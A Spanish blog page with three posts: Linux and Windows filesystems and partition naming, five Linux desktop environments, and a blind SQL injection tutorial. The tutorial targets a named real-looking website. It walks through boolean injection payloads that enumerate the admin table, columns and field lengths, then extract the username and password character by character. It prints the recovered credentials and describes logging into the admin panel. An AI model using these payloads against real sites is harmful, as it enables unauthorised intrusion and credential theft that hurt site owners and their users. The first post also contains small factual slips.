Ext4 nuevo sistema de ficheros para Linux evolucionado de Ext3 algunas de sus ventajas con respecto a este último son:

Aumento del tamaño del sistema de ficheros a 1 Exabay = 2^20 Terabyte y del tamaño máximo por archivo (16 Tb).Número ilimitado de directorios frente a los 32.000 de Ext3Mayor velocidad en la creación y borrado de ficheros

XFS Implementado para sistemas Unix, rápido acceso para grandes cantidades de datos y altas velocidades, pero lento en ficheros pequeños. Se utiliza en grandes servidores y donde se maneje mucha información.

ReiserFS  Sistema de archivos diseñado e implementado por la empresa Namesys, liderado por Hans Reiser. Es soportado por Linux y otros sistemas operativos (algunos a través de implementaciones muy inestables).

Fat16/Fat32 Sistemas Dos/Windows 95, Windows 98, este sistema de archivos produce una gran fragmentación del disco.

NTFS sistema de archivos implementado para los sistemas operativos  Windows Xp/2000/2003 server y Vista.A la acción de crear un sistema de ficheros dentro de una partición se le llama también formatear la partición.
La nomenclatura para identificar las particiones es diferente en Windows y en Linux. En Windows las unidades se identifican con letras, por ejemplo:
Primer disco duro (IDE, SCSI ó SATA)

C: (primera partición del primer disco duro IDE)
D: (segunda partición del primer disco duro IDE)

Segundo disco duro (IDE ó SCSI ó SATA)

E: (primera partición del segundo disco duro IDE)
F: (segunda partición del segundo disco duro IDE)

En Linux se representan de la siguiente manera:

hda (primer disco duro IDE).

hda1 (primera partición del primer disco duro IDE).
hda2 (segunda partición del primer disco duro IDE).
hda5 (primera partición lógica de una partición extendida del primer disco duro IDE)

hdb (segundo disco duro IDE).
hdb1 (primera partición del segundo disco duro IDE).
hdb2 (segunda partición del segundo disco duro IDE).
hdb5 (primera partición lógica de una partición extendida del segundo disco duro IDE)

Discos SCSI ó SATA.

sda (primer disco duro SCSI)
sda1 (primera partición del primer disco SCSI).
sda2 (segunda partición del primer disco SCSI).
sda5 (primera partición lógica del primer disco duro SCSI)
sdb (segundo disco duro SCSI).

Fuente: somoslibres

Los 5 entornos de escritorios más usados en Linux

10:29 3 Comments A+ a-


Xfce

xfce

Xfce es uno de los entornos de escritorio más ligeros pero a la vez más completos. Está basado en GTK+ 2 y su objetivo es ser rápido y consumir pocos recursos pero sin dejar de ser agradable a la vista y amigable al usuario; sin duda un gran compromiso. Otro de sus compromisos es el de apegarse fuertemente a los estándares, sobre todo a los definidos por [freedesktop.org](http://freedesktop.org]
Xfce cuenta con un buen stack de aplicaciones propias, entre ellas: manejador de ventanas y de escritorio, panel, gestor de sesiones, administrador de archivos, buscador de aplicaciones y gestor de preferencias. También tiene aplicaciones adicionales y plugins que te permiten extender la funcionalidad del escritorio si así lo deseas. No es en vano una de las opciones preferidas al momento de instalar una distribución de Linux en un hardware con escasos recursos.

Cinnamon

cinnamon

Cinnamon es un entorno basado en GTK+ 3 que busca entregar características innovadoras pero sin dejar a un lado el formato clásico del escritorio. Nació, en gran parte, gracias al descontento general que hubo a raíz de los singulares y no muy bien acogidos cambios introducidos por GNOME 3 en su lanzamiento. Comenzó siendo un fork de GNOME Shell pero ya ha alcanzado la madurez y se ha convertido en un entorno sólido y estable.
Entre sus características más resaltantes tenemos: animaciones y efectos de transición, panel movible con menú principal, lanzadores de aplicaciones, manejador de ventanas, bandeja de sistema, administrador de archivos y centenares de applets y extensiones para personalizar el escritorio. No es tan ligero en comparación con Xfce, pero sigue siendo mucho más ligero que los más populares. Cinnamon comenzó siendo desarrollado para la distribución Linux Mint, pero ahora está disponible para cualquier distribución.

LXQt

lxqt

Siendo un proyecto relativamente joven, LXQt se posiciona como un fuerte candidato en la pelea de los escritorios más ligeros. Es el resultado de la fusión entre el port a Qt de LXDE y algunos módulos de Razor-qt. Su objetivo es brindar un entorno de escritorio rápido y modular, que no se interponga en tu camino, que no ralentice tu ordenador y que además tenga una apariencia moderna.
Es bien mínimo y sólo cuenta con un port a Qt de PCManFM como gestor de archivos y usa Openbox como el manejador de ventanas predeterminado, sin embargo es compatible con otros manejadores de ventanas. LXQt será el reemplazo de la próxima versión de LXDE y es una opción fuerte a considerar si te gustan los escritorios ligeros basados en Qt.

Deepin

deepin

Deepin es producto del desarrollo de una distribución Linux que lleva el mismo nombre y su misión es brindar una interfaz elegante y amigable para que el uso del ordenador se convierta en una experiencia grata.
Deepin o DDE (Deeping Desktop Environment) está basado en tecnologías HTML5 y enfoca su atención en el diseño intuitivo. Dispone de sus propias aplicaciones, entre las que podemos encontrar el Centro de Software Deepin, DMusic y DPlayer. Considerando su facilidad de uso se plantea como una buena alternativa a Windows, tanto para el hogar como para la oficina.

Hawaii

hawaii

Hawaii es un escritorio ligero, coherente y rápido que apunta a ser el primero creado específicamente para Wayland. Es el producto del equipo de desarrollo de Maui OS y según sus creados, ha sido diseñado para ser de fácil uso y construido con la idea de aprovechar al máximo las bondades de nuevas tecnologías como Qt 5, QtQuick y Wayland.
Tiene como propósito ofrecer la mejor experiencia de usuario sin importar el dispositivo en el que se esté ejecutando, es por eso que ha sido diseñado usando diseño adaptativo. La interfaz se ajusta a las necesidades de la plataforma, esto quiere decir que en un ordenador de escritorio aprovecha el espacio para tener más elementos y la distribución está optimizada para el uso de teclado mientras que en dispositivos móviles la cantidad de elementos se reduce pero se aprovechan las capacidades táctiles.
Si bien no es la opción más popular, luego de pasearse un rato por el sitio oficial de la distribución pican los dedos por probarla.

Taller de Seguridad Web #3

8:38 0 Comments A+ a-


Introducción

Blind SQLi o ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi.

Es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado  o desactivado el SHOW_WARNINGS y SHOW_ERRORS, que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos.

Sin embargo,  sí podemos comprobar datos por medio de verdaderos o falsos; y a lo largo de este paper, veremos a que nos referimos con esos verdaderos y falsos.

El nombre Blind SQLi o SQLi a ciegas, hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.

Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net


Como se puede ver, es de alguien que diseña websites, vamos a ver qué tal es el servicio que ofrece…


Verificaciones

Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la base de datos para poder inyectar. Yo probaré usando esto:

http://www.digitaria.net/noticia.php?id=25


Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.

Lo que debemos hacer es añadirle a la url esto:

AND 1=1   Verdadero
AND 1=0   Falso


O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25

Para el caso verdadero sería: http://www.digitaria.net/noticia.php?id=25 AND 1=1

Para el caso falso sería: http://www.digitaria.net/noticia.php?id=25 AND 1=0

Veamos cómo afecta esto en la visualización de la página…

Verdadero:


Falso:


Como se puede ver, el caso falso no carga nada…

Existen otras cláusulas diferentes al AND como lo es el having

Verdadero  Having 1=1
Falso  Having 1=0


Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…


Inyecciones Blind

Ahora, vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interesen. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.

A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así:

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.

Con esto haremos la consulta para saber si la tabla usuarios existe o no.


Falso… Debemos seguir probando, hasta que algún nombre que coloquemos sea verdadero.

Extracción de datos

Después de probar varias veces, logré dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.


Ahora veremos cuantos registros tiene esta tabla. O mejor dicho, cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines.

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines.

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines.

En mi caso me dio Verdadero el segundo caso… Hay menos de 7 admines.


Podemos seguir probando bajando la cantidad, hasta que finalmente podamos adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si colocamos:

AND (SELECT(COUNT(*)) FROM admin) = 1

Dará Verdadero.

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar


Falso

Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”


Ahora, deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros...

Después de probar con varios nombres como password, passwords, clave, etc… llegué al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin)


Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.

Ahora, veremos cómo saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuántos caracteres tiene el user y la pass.

Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

La línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…


Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probaré poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver, da verdadero.


Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña…
La inyección es la misma que la que usamos, solo que modificamos user por pass

En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7

Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.

Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la línea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:


Ahí vemos que el 97 corresponde a la letra a.

Seguimos probando, hasta que nos dé Verdadero. Después de probar un rato, llegue a que comienza con “G”.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71


Para pasar al segundo carácter del usuario, debemos cambiar el, 1,1 por, 2,1.

Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos.
Recuerden ir cambiando el, 1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12ª


Ahora si buscamos el panel de admin y probamos los datos:


Y… Estamos dentro!!